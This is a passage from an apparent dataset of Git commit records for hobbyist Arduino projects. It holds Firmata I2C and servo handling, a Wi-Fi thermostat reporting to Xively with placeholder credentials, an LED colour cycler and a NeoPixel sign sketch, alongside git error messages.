{\n Firmata.sendString(\"10-bit addressing not supported\");\n return;\n }\n else {\n slaveAddress = argv[0];\n }\n\n switch (mode) {\n case I2C_WRITE:\n Wire.beginTransmission(slaveAddress);\n for (byte i = 2; i < argc; i += 2) {\n data = argv[i] + (argv[i + 1] << 7);\n wireWrite(data);\n }\n Wire.endTransmission();\n delayMicroseconds(70);\n break;\n case I2C_READ:\n if (argc == 6) {\n \/\/ a slave register is specified\n slaveRegister = argv[2] + (argv[3] << 7);\n data = argv[4] + (argv[5] << 7); \/\/ bytes to read\n }\n else {\n \/\/ a slave register is NOT specified\n slaveRegister = I2C_REGISTER_NOT_SPECIFIED;\n data = argv[2] + (argv[3] << 7); \/\/ bytes to read\n }\n readAndReportData(slaveAddress, (int)slaveRegister, data);\n break;\n case I2C_READ_CONTINUOUSLY:\n if ((queryIndex + 1) >= I2C_MAX_QUERIES) {\n \/\/ too many queries, just ignore\n Firmata.sendString(\"too many queries\");\n break;\n }\n if (argc == 6) {\n \/\/ a slave register is specified\n slaveRegister = argv[2] + (argv[3] << 7);\n data = argv[4] + (argv[5] << 7); \/\/ bytes to read\n }\n else {\n \/\/ a slave register is NOT specified\n slaveRegister = (int)I2C_REGISTER_NOT_SPECIFIED;\n data = argv[2] + (argv[3] << 7); \/\/ bytes to read\n }\n queryIndex++;\n query[queryIndex].addr = slaveAddress;\n query[queryIndex].reg = slaveRegister;\n query[queryIndex].bytes = data;\n break;\n case I2C_STOP_READING:\n byte queryIndexToSkip;\n \/\/ if read continuous mode is enabled for only 1 i2c device, disable\n \/\/ read continuous reporting for that device\n if (queryIndex <= 0) {\n queryIndex = -1;\n } else {\n \/\/ if read continuous mode is enabled for multiple devices,\n \/\/ determine which device to stop reading and remove it's data from\n \/\/ the array, shifiting other array data to fill the space\n for (byte i = 0; i < queryIndex + 1; i++) {\n if (query[i].addr == slaveAddress) {\n queryIndexToSkip = i;\n break;\n }\n }\n\n for (byte i = queryIndexToSkip; i < queryIndex + 1; i++) {\n if (i < I2C_MAX_QUERIES) {\n query[i].addr = query[i + 1].addr;\n query[i].reg = query[i + 1].reg;\n query[i].bytes = query[i + 1].bytes;\n }\n }\n queryIndex--;\n }\n break;\n default:\n break;\n }\n break;\n case I2C_CONFIG:\n delayTime = (argv[0] + (argv[1] << 7));\n\n if (delayTime > 0) {\n i2cReadDelayTime = delayTime;\n }\n\n if (!isI2CEnabled) {\n enableI2CPins();\n }\n\n break;\n case SERVO_CONFIG:\n if (argc > 4) {\n \/\/ these vars are here for clarity, they'll optimized away by the compiler\n byte pin = argv[0];\n int minPulse = argv[1] + (argv[2] << 7);\n int maxPulse = argv[3] + (argv[4] << 7);\n\n if (IS_PIN_DIGITAL(pin)) {\n if (servoPinMap[pin] < MAX_SERVOS && servos[servoPinMap[pin]].attached()) {\n detachServo(pin);\n }\n attachServo(pin, minPulse, maxPulse);\n setPinModeCallback(pin, SERVO);\n }\n }\n break;\n case SAMPLING_INTERVAL:\n if (argc > 1) {\n samplingInterval = argv[0] + (argv[1] << 7);\n if (samplingInterval < MINIMUM_SAMPLING_INTERVAL) {\n samplingInterval = MINIMUM_SAMPLING_INTERVAL;\n }\n } else {\n \/\/Firmata.sendString(\"Not enough data\");\n }\n break;\n case EXTENDED_ANALOG:\n if (argc > 1) {\n int val = argv[1];\n if (argc > 2) val |= (argv[2] << 7);\n if (argc > 3) val |= (argv[3] << 14);\n analogWriteCallback(argv[0], val);\n }\n break;\n case CAPABILITY_QUERY:\n Firmata.write(START_SYSEX);\n Firmata.write(CAPABILITY_RESPONSE);\n for (byte pin = 0; pin < TOTAL_PINS; pin++) {\n if (IS_PIN_DIGITAL(pin)) {\n Firmata.write((byte)INPUT);\n Firmata.write(1);\n Firmata.write((byte)OUTPUT);\n Firmata.write(1);\n }\n if (IS_PIN_ANALOG(pin)) {\n Firmata.write(ANALOG);\n Firmata.write(10); \/\/ 10 = 10-bit resolution\n }\n if (IS_PIN_PWM(pin)) {\n Firmata.write(PWM);\n Firmata.write(8); \/\/ 8 = 8-bit resolution\n }\n if (IS_PIN_DIGITAL(pin)) {\n Firmata.write(SERVO);\n Firmata.write(14);\n }\n if (IS_PIN_I2C(pin)) {\n Firmata.write(I2C);\n Firmata.write(1); \/\/ TODO: could assign a number to map to SCL or SDA\n }\n Firmata.write(127);\n }\n Firmata.write(END_SYSEX);\n break;\n case PIN_STATE_QUERY:\n if (argc > 0) {\n byte pin = argv[0];\n Firmata.write(START_SYSEX);\n Firmata.write(PIN_STATE_RESPONSE);\n Firmata.write(pin);\n if (pin < TOTAL_PINS) {\n Firmata.write((byte)pinConfig[pin]);\n Firmata.write((byte)pinState[pin] & 0x7F);\n if (pinState[pin] & 0xFF80) Firmata.write((byte)(pinState[pin] >> 7) & 0x7F);\n if (pinState[pin] & 0xC000) Firmata.write((byte)(pinState[pin] >> 14) & 0x7F);\n }\n Firmata.write(END_SYSEX);\n }\n break;\n case ANALOG_MAPPING_QUERY:\n Firmata.write(START_SYSEX);\n Firmata.write(ANALOG_MAPPING_RESPONSE);\n for (byte pin = 0; pin < TOTAL_PINS; pin++) {\n Firmata.write(IS_PIN_ANALOG(pin) ? PIN_TO_ANALOG(pin) : 127);\n }\n Firmata.write(END_SYSEX);\n break;\n }\n}\n\nvoid enableI2CPins()\n{\n byte i;\n \/\/ is there a faster way to do this? would probaby require importing\n \/\/ Arduino.h to get SCL and SDA pins\n for (i = 0; i < TOTAL_PINS; i++) {\n if (IS_PIN_I2C(i)) {\n \/\/ mark pins as i2c so they are ignore in non i2c data requests\n setPinModeCallback(i, I2C);\n }\n }\n\n isI2CEnabled = true;\n\n Wire.begin();\n}\n\n\/* disable the i2c pins so they can be used for other functions *\/\nvoid disableI2CPins() {\n isI2CEnabled = false;\n \/\/ disable read continuous mode for all devices\n queryIndex = -1;\n}\n\n\/*==============================================================================\n * SETUP()\n *============================================================================*\/\n\nvoid systemResetCallback()\n{\n isResetting = true;\n \/\/ initialize a defalt state\n \/\/ TODO: option to load config from EEPROM instead of default\n if (isI2CEnabled) {\n disableI2CPins();\n }\n\n for (byte i = 0; i < TOTAL_PORTS; i++) {\n reportPINs[i] = false; \/\/ by default, reporting off\n portConfigInputs[i] = 0; \/\/ until activated\n previousPINs[i] = 0;\n }\n\n for (byte i = 0; i < TOTAL_PINS; i++) {\n \/\/ pins with analog capability default to analog input\n \/\/ otherwise, pins default to digital output\n if (IS_PIN_ANALOG(i)) {\n \/\/ turns off pullup, configures everything\n setPinModeCallback(i, ANALOG);\n } else {\n \/\/ sets the output to 0, configures portConfigInputs\n setPinModeCallback(i, OUTPUT);\n }\n\n servoPinMap[i] = 255;\n }\n \/\/ by default, do not report any analog inputs\n analogInputsToReport = 0;\n\n detachedServoCount = 0;\n servoCount = 0;\n\n \/* send digital inputs to set the initial state on the host computer,\n * since once in the loop(), this firmware will only send on change *\/\n \/*\n TODO: this can never execute, since no pins default to digital input\n but it will be needed when\/if we support EEPROM stored config\n for (byte i=0; i < TOTAL_PORTS; i++) {\n outputPort(i, readPort(i, portConfigInputs[i]), true);\n }\n *\/\n isResetting = false;\n}\n\nvoid setup()\n{\n Firmata.setFirmwareVersion(FIRMATA_MAJOR_VERSION, FIRMATA_MINOR_VERSION);\n\n Firmata.attach(ANALOG_MESSAGE, analogWriteCallback);\n Firmata.attach(DIGITAL_MESSAGE, digitalWriteCallback);\n Firmata.attach(REPORT_ANALOG, reportAnalogCallback);\n Firmata.attach(REPORT_DIGITAL, reportDigitalCallback);\n Firmata.attach(SET_PIN_MODE, setPinModeCallback);\n Firmata.attach(START_SYSEX, sysexCallback);\n Firmata.attach(SYSTEM_RESET, systemResetCallback);\n\n \/* For chipKIT Pi board, we need to use Serial1. All others just use Serial. *\/\n#if defined(_BOARD_CHIPKIT_PI_)\n Serial1.begin(57600);\n Firmata.begin(Serial1);\n#else\n Firmata.begin(57600);\n#endif\n systemResetCallback(); \/\/ reset to default config\n}\n\n\/*==============================================================================\n * LOOP()\n *============================================================================*\/\nvoid loop()\n{\n byte pin, analogPin;\n\n \/* DIGITALREAD - as fast as possible, check for changes and output them to the\n * FTDI buffer using Serial.print() *\/\n checkDigitalInputs();\n\n \/* STREAMREAD - processing incoming messagse as soon as possible, while still\n * checking digital inputs. *\/\n while (Firmata.available())\n Firmata.processInput();\n\n \/\/ TODO - ensure that Stream buffer doesn't go over 60 bytes\n\n currentMillis = millis();\n if (currentMillis - previousMillis > samplingInterval) {\n previousMillis += samplingInterval;\n \/* ANALOGREAD - do all analogReads() at the configured sampling interval *\/\n for (pin = 0; pin < TOTAL_PINS; pin++) {\n if (IS_PIN_ANALOG(pin) && pinConfig[pin] == ANALOG) {\n analogPin = PIN_TO_ANALOG(pin);\n if (analogInputsToReport & (1 << analogPin)) {\n Firmata.sendAnalog(analogPin, analogRead(analogPin));\n }\n }\n }\n \/\/ report i2c data for all device with read continuous mode enabled\n if (queryIndex > -1) {\n for (byte i = 0; i < queryIndex + 1; i++) {\n readAndReportData(query[i].addr, query[i].reg, query[i].bytes);\n }\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/StandardFirmataChipKITSSPPII\/StandardFirmataChipKITSSPPII.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"739e378e19800f11f435f2eccf1e445c10e75ec9","subject":"Adds E-stop arduino code","message":"Adds E-stop arduino code\n","repos":"rmkeezer\/igvc-software,rortiz9\/igvc-software,jondolan\/igvc-software,sayakchatterjee\/igvc-software,nareddyt\/igvc-software,monstorium\/igvc-software,thomaswyatt01\/igvc-software,jzheng84\/igvc-software,rortiz9\/igvc-software,jondolan\/igvc-software,DavidPurcell\/igvc-software,monstorium\/igvc-software,sayakchatterjee\/igvc-software,thomaswyatt01\/igvc-software,monstorium\/igvc-software,prabhu-dev\/LineDetectorLengthFix,thomaswyatt01\/igvc-software,seanrsain\/igvc-software,seanrsain\/igvc-software,seanrsain\/igvc-software,RoboJackets\/igvc-software,sayakchatterjee\/igvc-software,jgkamat\/igvc-software,prabhu-dev\/LineDetectorLengthFix,monstorium\/igvc-software,nareddyt\/igvc-software,kscharm\/igvc-software,prabhu-dev\/LineDetectorLengthFix,jgkamat\/igvc-software,sgadgil6\/igvc-software,thaeds\/igvc-software,thomaswyatt01\/igvc-software,ytulsiani\/igvc-software,prabhu-dev\/LineDetectorLengthFix,nareddyt\/igvc-software,vmurahari3\/igvc-software,dpattison3\/igvc-software,RoboJackets\/igvc-software,sayakchatterjee\/igvc-software,dpattison3\/igvc-software,prabhu-dev\/LineDetectorLengthFix,ytulsiani\/igvc-software,zachcmathews\/igvc-software,nareddyt\/igvc-software,zachcmathews\/igvc-software,DavidPurcell\/igvc-software,jzheng84\/igvc-software,DavidPurcell\/igvc-software,vmurahari3\/igvc-software,vmurahari3\/igvc-software,seanrsain\/igvc-software,rqiu8\/igvc-software,rqiu8\/igvc-software,jgkamat\/igvc-software,monstorium\/igvc-software,rqiu8\/igvc-software,jondolan\/igvc-software,sgadgil6\/igvc-software,thaeds\/igvc-software,jondolan\/igvc-software,sgadgil6\/igvc-software,jgkamat\/igvc-software,jgkamat\/igvc-software,rortiz9\/igvc-software,rmkeezer\/igvc-software,thomaswyatt01\/igvc-software,DavidPurcell\/igvc-software,kscharm\/igvc-software,ytulsiani\/igvc-software,thaeds\/igvc-software,vmurahari3\/igvc-software,zachcmathews\/igvc-software,rqiu8\/igvc-software,jondolan\/igvc-software,rmkeezer\/igvc-software,vmurahari3\/igvc-software,RoboJackets\/igvc-software,dpattison3\/igvc-software,rqiu8\/igvc-software,thaeds\/igvc-software,sgadgil6\/igvc-software,zachcmathews\/igvc-software,ytulsiani\/igvc-software,kscharm\/igvc-software,thaeds\/igvc-software,jzheng84\/igvc-software,DavidPurcell\/igvc-software,zachcmathews\/igvc-software,dpattison3\/igvc-software,seanrsain\/igvc-software,sgadgil6\/igvc-software,jzheng84\/igvc-software,nareddyt\/igvc-software,sayakchatterjee\/igvc-software,kscharm\/igvc-software,ytulsiani\/igvc-software,RoboJackets\/igvc-software","old_file":"src\/hardware\/actuators\/arduino\/E-Stop\/E_stop\/E_stop.ino","new_file":"src\/hardware\/actuators\/arduino\/E-Stop\/E_stop\/E_stop.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jondolan\/igvc-software.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"27bbd168091e625edc0d6eb1e5542fe7171bfb1c","subject":"Final Working Arduino Code","message":"Final Working Arduino Code\n","repos":"rsangole\/Arduino-Thermostat-Project","old_file":"TStat_RevShare.ino","new_file":"TStat_RevShare.ino","new_contents":"\/* ArduStat, a web-controlled wifi thermostat project\nAuthor - Rahul Sangole\nDate - Jan 2014\n\nThanks for Adafruit and all the active members on the Arduino forums for their inputs!\n *\/\n#include <Adafruit_CC3000.h>\n#include <ccspi.h>\n#include <SPI.h>\n#include <string.h>\n#include \"utility\/debug.h\"\n#include <Servo.h>\n#include \"dht11.h\"\n\n\/\/ ----------------------------\n\/\/ ----------------------------\n\/\/ Global Variables & Initiation\n\/\/ ----------------------------\n\/\/ Wireless Setup\n\/\/ These are the interrupt and control pins\n#define ADAFRUIT_CC3000_IRQ 3 \/\/ MUST be an interrupt pin!\n\/\/ These can be any two pins\n#define ADAFRUIT_CC3000_VBAT 5\n#define ADAFRUIT_CC3000_CS 10\n\/\/ On an UNO, SCK = 13, MISO = 12, and MOSI = 11\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT,SPI_CLOCK_DIV2); \/\/ you can change this clock speed but DI\n#define WLAN_SSID \"YOURSSID\" \/\/ cannot be longer than 32 characters!\n#define WLAN_PASS \"YOURPASS\"\n\/\/ Security can be WLAN_SEC_UNSEC, WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2\n#define WLAN_SECURITY WLAN_SEC_WPA2\n#define IDLE_TIMEOUT_MS 3000 \/\/ Amount of time to wait (in milliseconds) with no data \n\n\/\/ ----------------------------\n\/\/ Website Setup\n#define WEBSITE \"YOUR SITE FOR TEMP COMMAND DATA\"\n#define WEBPAGE \"\/tdata.html\"\n\n\/\/ ----------------------------\n\/\/ Xively Setup\n#define XWEBSITE \"api.xively.com\"\n#define API_key \"YOUR API KEY\"\n#define feedID \"YOUR FEED ID\"\n\n\/\/ ----------------------------\n\/\/ Misc\n#define DELAY 900000\nint TEXIST=68;\n\n\/\/ ----------------------------\n\/\/ DHT Setup\n#define DHTPIN A0 \/\/ what pin we're connected to\n#define DHTTYPE DHT11\ndht11 DHT11;\n\n\/\/ ----------------------------\nServo myservo;\nint SPOS=60;\n#define SPIN 4\n\n\n\/\/ ----------------------------\n\/\/ ----------------------------\n\nvoid setup(void){\n Serial.begin(9600);\n myservo.attach(SPIN);\n myservo.write(SPOS);\n delay(1000);\n myservo.detach();\n}\n\n\/\/ ----------------------------\n\/\/ ----------------------------\n\nvoid loop(void){\n Serial.print(F(\"Existing Temperature: \"));\n Serial.print(TEXIST);\n Serial.println(F(\" deg F\"));\n initWifi();\n deleteOldConn();\n connectWifi();\n requestDCHP();\n \/\/ Get Commanded Temperature\n int treq=getTemp();\n \/\/ Check Against Existing Temperature, Command Servo\n if(treq!=TEXIST){\n myservo.attach(SPIN);\n changeTemp(treq);\n delay(1000);\n myservo.detach();\n }\n \/\/ Update Xively\n updateXively();\n \/\/ Close Wifi Connection\n closeWifi();\n \/\/ Delay\n delay(DELAY);\n}\n\nvoid initWifi(void){\n Serial.println(F(\"\\nInitialising the CC3000 ...\"));\n if (!cc3000.begin())\n {\n Serial.println(F(\"Unable to initialise the CC3000! Check your wiring?\"));\n while(1);\n }\n}\n\nvoid deleteOldConn(void){\n \/* Delete any old connection data on the module *\/\n Serial.println(F(\"\\nDeleting old connection profiles\"));\n if (!cc3000.deleteProfiles()) {\n Serial.println(F(\"Failed!\"));\n while(1);\n }\n}\n\nvoid connectWifi(void){\n \/* Attempt to connect to an access point *\/\n char *ssid = WLAN_SSID; \/* Max 32 chars *\/\n Serial.print(F(\"\\nAttempting to connect to \")); \n Serial.println(ssid);\n if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Failed!\"));\n while(1);\n }\n\n Serial.println(F(\"Connected!\"));\n Serial.println(F(\"\\n\"));\n}\n\nvoid requestDCHP(){\n \/* Wait for DHCP to complete *\/\n Serial.println(F(\"Requesting DHCP...\"));\n while (!cc3000.checkDHCP())\n {\n delay(100); \/\/ ToDo: Insert a DHCP timeout!\n } \n Serial.println(F(\"DCHP Done.\"));\n Serial.println(F(\"\\n\\n\"));\n\n}\n\nint getTemp(){\n uint32_t ip = 0;\n String readString = \"\";\n Serial.println(F(\"Connecting to website...\"));\n while (ip == 0) {\n if (! cc3000.getHostByName(WEBSITE, &ip)) {\n Serial.println(F(\"Couldn't resolve!\"));\n }\n delay(500);\n } \n cc3000.printIPdotsRev(ip); \n\n Adafruit_CC3000_Client www = cc3000.connectTCP(ip, 80);\n\n Serial.println(F(\"Text Return:\"));\n if (www.connected()) {\n www.fastrprint(F(\"GET \"));\n www.fastrprint(WEBPAGE);\n www.fastrprint(F(\" HTTP\/1.1\\r\\n\"));\n www.fastrprint(F(\"Host: \")); \n www.fastrprint(WEBSITE); \n www.fastrprint(F(\"\\r\\n\"));\n www.fastrprint(F(\"\\r\\n\"));\n www.println();\n }\n Serial.println(F(\"-------------------------------------\"));\n\n \/* Read data until either the connection is closed, or the idle timeout is reached. *\/\n unsigned long lastRead = millis();\n while (www.connected() && (millis() - lastRead < IDLE_TIMEOUT_MS)) {\n while (www.available()) {\n char c = www.read();\n Serial.print(c); \/\/read char by char HTTP request\n readString+=c; \n lastRead = millis();\n }\n }\n www.close();\n Serial.println(F(\"-------------------------------------\"));\n Serial.println(F(\"\\n\"));\n \/\/Find temperautre in the data based on <<\n int index = readString.indexOf('<<');\n String tempstr = readString.substring(index+2, index+4);\n int tempcomm = tempstr.toInt();\n Serial.print(\"Commanded temp in int: \");\n Serial.println(tempcomm);\n Serial.println(F(\"-------------------------------------\"));\n return tempcomm;\n}\n\nvoid changeTemp(int treq){\n if (treq!=TEXIST){\n \/\/Command Servo\n delay(1000);\n Serial.print(F(\"Command Servo to \"));\n Serial.println(treq);\n myservo.write(110);\n delay(1000);\n switch(treq){\n case 58:\n myservo.write(110);\n break;\n case 60:\n myservo.write(100);\n break;\n case 62:\n myservo.write(90);\n break;\n case 64:\n myservo.write(80);\n break;\n case 66:\n myservo.write(70);\n break;\n case 68:\n myservo.write(60);\n break;\n case 70:\n myservo.write(50);\n break;\n case 0:\n myservo.write(100);\n break;\n }\n TEXIST=treq;\n }\n else\n Serial.println(F(\"No change in temp, no servo command\"));\n Serial.println(F(\"\\n\"));\n\n}\n\nvoid updateXively(){\n\n uint32_t ip = 0;\n \n Serial.print(F(\"Humidity is: \")); Serial.println((float)h,2);\n Serial.print(F(\"Temp is: \")); Serial.println((float)t,2);\n \n int length = 0;\n String data = \"\";\n data = data + \"\\n\" + \"{\\\"version\\\":\\\"1.0.0\\\",\\\"datastreams\\\" : [ {\\\"id\\\" : \\\"TCommand\\\",\\\"current_value\\\" : \\\"\" + String((int)((TEXIST-32)*5\/9)) + \"\\\"},\" \n + \"{\\\"id\\\" : \\\"Temperature\\\",\\\"current_value\\\" : \\\"\" + String(t) + \"\\\"},\" \n + \"{\\\"id\\\" : \\\"Humidity\\\",\\\"current_value\\\" : \\\"\" + String(h) + \"\\\"}]}\";\n\n Serial.println(F(\"-------------------------------------\"));\n Serial.println(F(\"Connecting to Xively website...\"));\n while (ip == 0) {\n if (! cc3000.getHostByName(XWEBSITE, &ip)) {\n Serial.println(F(\"Couldn't resolve!\"));\n }\n delay(500);\n } \n cc3000.printIPdotsRev(ip); \n length = data.length();\n Adafruit_CC3000_Client client = cc3000.connectTCP(ip, 80);\n if (client.connected()) {\n Serial.println(\"Connected!\");\n client.println(\"PUT \/v2\/feeds\/\" + String(feedID) + \".json HTTP\/1.0\");\n client.println(\"Host: api.xively.com\");\n client.println(\"X-ApiKey: \" + String(API_key));\n client.println(\"Content-Length: \" + String(length));\n client.print(\"Connection: close\");\n client.println();\n client.print(data);\n client.println();\n }\n\n while (client.connected()) {\n while (client.available()) {\n char c = client.read();\n Serial.print(c);\n }\n }\n Serial.println(F(\"Xively update complete\"));\n client.close();\n}\n\nvoid closeWifi(void){\n Serial.println(F(\"\\nCC3000 disconnected\"));\n cc3000.disconnect();\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TStat_RevShare.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"26237997bea3d05c22ac207e9a22bf185b51b308","subject":"Cleaning up code, adding or clarifiying comments.","message":"Cleaning up code, adding or clarifiying comments.\n","repos":"tomwagner1999\/SmartHome,tomwagner1999\/SmartHome,tomwagner1999\/esp8266-webserver,tomwagner1999\/SmartHome","old_file":"arduino-server\/arduino-server.ino","new_file":"arduino-server\/arduino-server.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tomwagner1999\/SmartHome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7db0d5d45dd6fdf3659d9c5d5196a850ba955678","subject":"initial commit","message":"initial commit\n","repos":"mik4el\/circadian_hallway","old_file":"circadian_hallway_cycle_colors\/circadian_hallway_cycle_colors.ino","new_file":"circadian_hallway_cycle_colors\/circadian_hallway_cycle_colors.ino","new_contents":"#define GRN_PIN 5\n#define RED_PIN 6\n#define BLU_PIN 9\n\nbyte RED, GREEN, BLUE; \nbyte RED_A = 0;\nbyte GREEN_A = 0; \nbyte BLUE_A = 0;\nint led_delay = 0;\nbyte color_count = 1; \/\/Count the colors out\n#define color_count_max 5 \/\/Set this to the max number of colors defined\n#define color_delay 20000 \/\/Define the delay between changing colors in ms\n#define time_at_color 1 \/\/Time to stay on a color in ms\n\n\/\/Some Time values\nunsigned long TIME_LED = 0;\nunsigned long TIME_color = 0;\n\n\/\/Evening colors defined here\n#define C1_R 200\n#define C1_G 0\n#define C1_B 0\n\n#define C2_R 225\n#define C2_G 20\n#define C2_B 0\n\n#define C3_R 255\n#define C3_G 40\n#define C3_B 0\n\n#define C4_R 245\n#define C4_G 30\n#define C4_B 0\n\n#define C5_R 200\n#define C5_G 00\n#define C5_B 0\n\nvoid setup()\n{\n\n \/\/Assign initial values\n RED = C1_R;\n GREEN = C1_G;\n BLUE = C1_B;\n \/\/Get the led_delay speed\n led_delay = (color_delay - time_at_color) \/ 255; \n\n analogWrite(GRN_PIN, 0);\n analogWrite(RED_PIN, 0);\n analogWrite(BLU_PIN, 0);\n\n}\n\nvoid loop()\n{\n\n \/\/Rest of your program - Avoid using delay(); function!\n\n if(millis() - TIME_LED >= led_delay){\n TIME_LED = millis();\n\n \/\/Run the LED Function to check and adjust the values\n LED();\n }\n\n if(millis() - TIME_color >= color_delay){\n TIME_color = millis();\n\n \/\/Run the color Change function\n color();\n }\n\n}\n\nvoid LED()\n{\n\n \/\/Check Values and adjust \"Active\" Value\n if(RED != RED_A){\n if(RED_A > RED) RED_A = RED_A - 1;\n if(RED_A < RED) RED_A++;\n }\n if(GREEN != GREEN_A){\n if(GREEN_A > GREEN) GREEN_A = GREEN_A - 1;\n if(GREEN_A < GREEN) GREEN_A++;\n }\n if(BLUE != BLUE_A){\n if(BLUE_A > BLUE) BLUE_A = BLUE_A - 1;\n if(BLUE_A < BLUE) BLUE_A++;\n }\n\n \/\/Assign modified values to the pwm outputs for each color led\n analogWrite(RED_PIN, RED_A);\n analogWrite(GRN_PIN, GREEN_A);\n analogWrite(BLU_PIN, BLUE_A);\n\n}\n\nvoid color()\n{\n\n \/\/Increment the color by one or go back to 1 if maxed out\n if(color_count < color_count_max) color_count++;\n else color_count = 1;\n\n if(color_count == 1){\n RED = C1_R;\n GREEN = C1_G;\n BLUE = C1_B;\n } else if(color_count == 2){\n RED = C2_R;\n GREEN = C2_G;\n BLUE = C2_B;\n } else if(color_count == 3){\n RED = C3_R;\n GREEN = C3_G;\n BLUE = C3_B;\n } else if(color_count == 4){\n RED = C4_R;\n GREEN = C4_G;\n BLUE = C4_B;\n } else if(color_count == 5){\n RED = C5_R;\n GREEN = C5_G;\n BLUE = C5_B;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'circadian_hallway_cycle_colors\/circadian_hallway_cycle_colors.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"69e8e0f92a6006c958a97bf78d5bfb3aa2b54534","subject":"Test of verkstedskilt.ino with delayed connection, but where program starts at power on.","message":"Test of verkstedskilt.ino with delayed connection, but where program starts at power on.\n","repos":"HackBergen\/SparkCore","old_file":"verkstedskilt-semi.ino","new_file":"verkstedskilt-semi.ino","new_contents":"\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"SparkCorePolledTimer\/SparkCorePolledTimer.h\"\n\n\/*-------------------------------------------------------------------------\n Spark Core library to control WS2811\/WS2812 based RGB\n LED devices such as Adafruit NeoPixel strips.\n Currently handles 800 KHz and 400kHz bitstream on Spark Core, \n WS2812, WS2812B and WS2811.\n\n Also supports:\n - Radio Shack Tri-Color Strip with TM1803 controller 400kHz bitstream.\n - TM1829 pixels\n \n PLEASE NOTE that the NeoPixels require 5V level inputs \n and the Spark Core only has 3.3V level outputs. Level shifting is\n necessary, but will require a fast device such as one of the following:\n\n [SN74HCT125N]\n http:\/\/www.digikey.com\/product-detail\/en\/SN74HCT125N\/296-8386-5-ND\/376860\n\n [SN74HCT245N] \n http:\/\/www.digikey.com\/product-detail\/en\/SN74HCT245N\/296-1612-5-ND\/277258\n\n Written by Phil Burgess \/ Paint Your Dragon for Adafruit Industries.\n Modified to work with Spark Core by Technobly.\n Contributions by PJRC and other members of the open source community.\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing products\n from Adafruit!\n --------------------------------------------------------------------*\/\n\n\/* ======================= includes ================================= *\/\n\n\n#include \"application.h\"\n\/\/#include \"spark_disable_wlan.h\" (for faster local debugging only)\n#include \"neopixel\/neopixel.h\"\n\n\/* ======================= prototypes =============================== *\/\n\nvoid colorAll(uint32_t c, uint8_t wait);\nvoid colorWipe(uint32_t c, uint8_t wait);\nvoid rainbow(uint8_t wait);\nvoid rainbowCycle(uint8_t wait);\nuint32_t Wheel(byte WheelPos);\nboolean LEDflag = FALSE;\n#define LED D7 \/\/ Tiny blue LED onboard\n\n\/* ======================= extra-examples.cpp ======================== *\/\n\n\/\/ IMPORTANT: Set pixel COUNT, PIN and TYPE\n#define PIXEL_COUNT 10\n#define PIXEL_PIN A7\n#define PIXEL_TYPE WS2812B\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = pin number (most are valid)\n\/\/ note: if not specified, D2 is selected for you.\n\/\/ Parameter 3 = pixel type [ WS2812, WS2812B, WS2811, TM1803 ]\n\/\/ note: if not specified, WS2812B is selected for you.\n\/\/ note: RGB order is automatically applied to WS2811,\n\/\/ WS2812\/WS2812B\/TM1803 is GRB order.\n\/\/\n\/\/ 800 KHz bitstream 800 KHz bitstream (most NeoPixel products ...\n\/\/ ... WS2812 (6-pin part)\/WS2812B (4-pin part) )\n\/\/\n\/\/ 400 KHz bitstream (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ (Radio Shack Tri-Color LED Strip - TM1803 driver\n\/\/ NOTE: RS Tri-Color LED's are grouped in sets of 3)\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(PIXEL_COUNT, PIXEL_PIN, PIXEL_TYPE);\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\nSYSTEM_MODE(SEMI_AUTOMATIC);\n\nSparkCorePolledTimer updateTimer(10000); \/\/Create a timer object and set it's timeout in milliseconds\nvoid OnTimer(void); \/\/Prototype for timer callback method\n\nvoid setup() {\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n pinMode(LED, OUTPUT); \/\/ Tiny blue LED onboard\n digitalWrite(LED, LOW); \/\/ Turn Off the LED\n updateTimer.SetCallback(OnTimer);\n}\n\nvoid loop() {\n updateTimer.Update();\n \n \/\/ Some example procedures showing how to display to the pixels:\n \/\/ Do not run more than one of these at a time, or the b\/g tasks \n \/\/ will be blocked.\n \/\/--------------------------------------------------------------\n \n pixelSwipeRandom(strip.Color(0, 0, 10),strip.Color(15, 50, 0), 20);\n\n \/\/pixelWipe(strip.Color(0, 0, 0),strip.Color(0, 0, 15), 50); \/\/ Red\n \/\/pixelWipeReverse(strip.Color(0, 0, 0),strip.Color(0, 0, 15), 50); \n \/\/colorWipe(strip.Color(255, 0, 0), 50); \/\/ Red\n \n \/\/colorWipe(strip.Color(20, 25, 0), 50); \/\/ Green\n \n \/\/colorWipe(strip.Color(0, 0, 25), 50); \/\/ Blue\n \n \/\/rainbow(20);\n \n \/\/rainbowCycle(20);\n \n 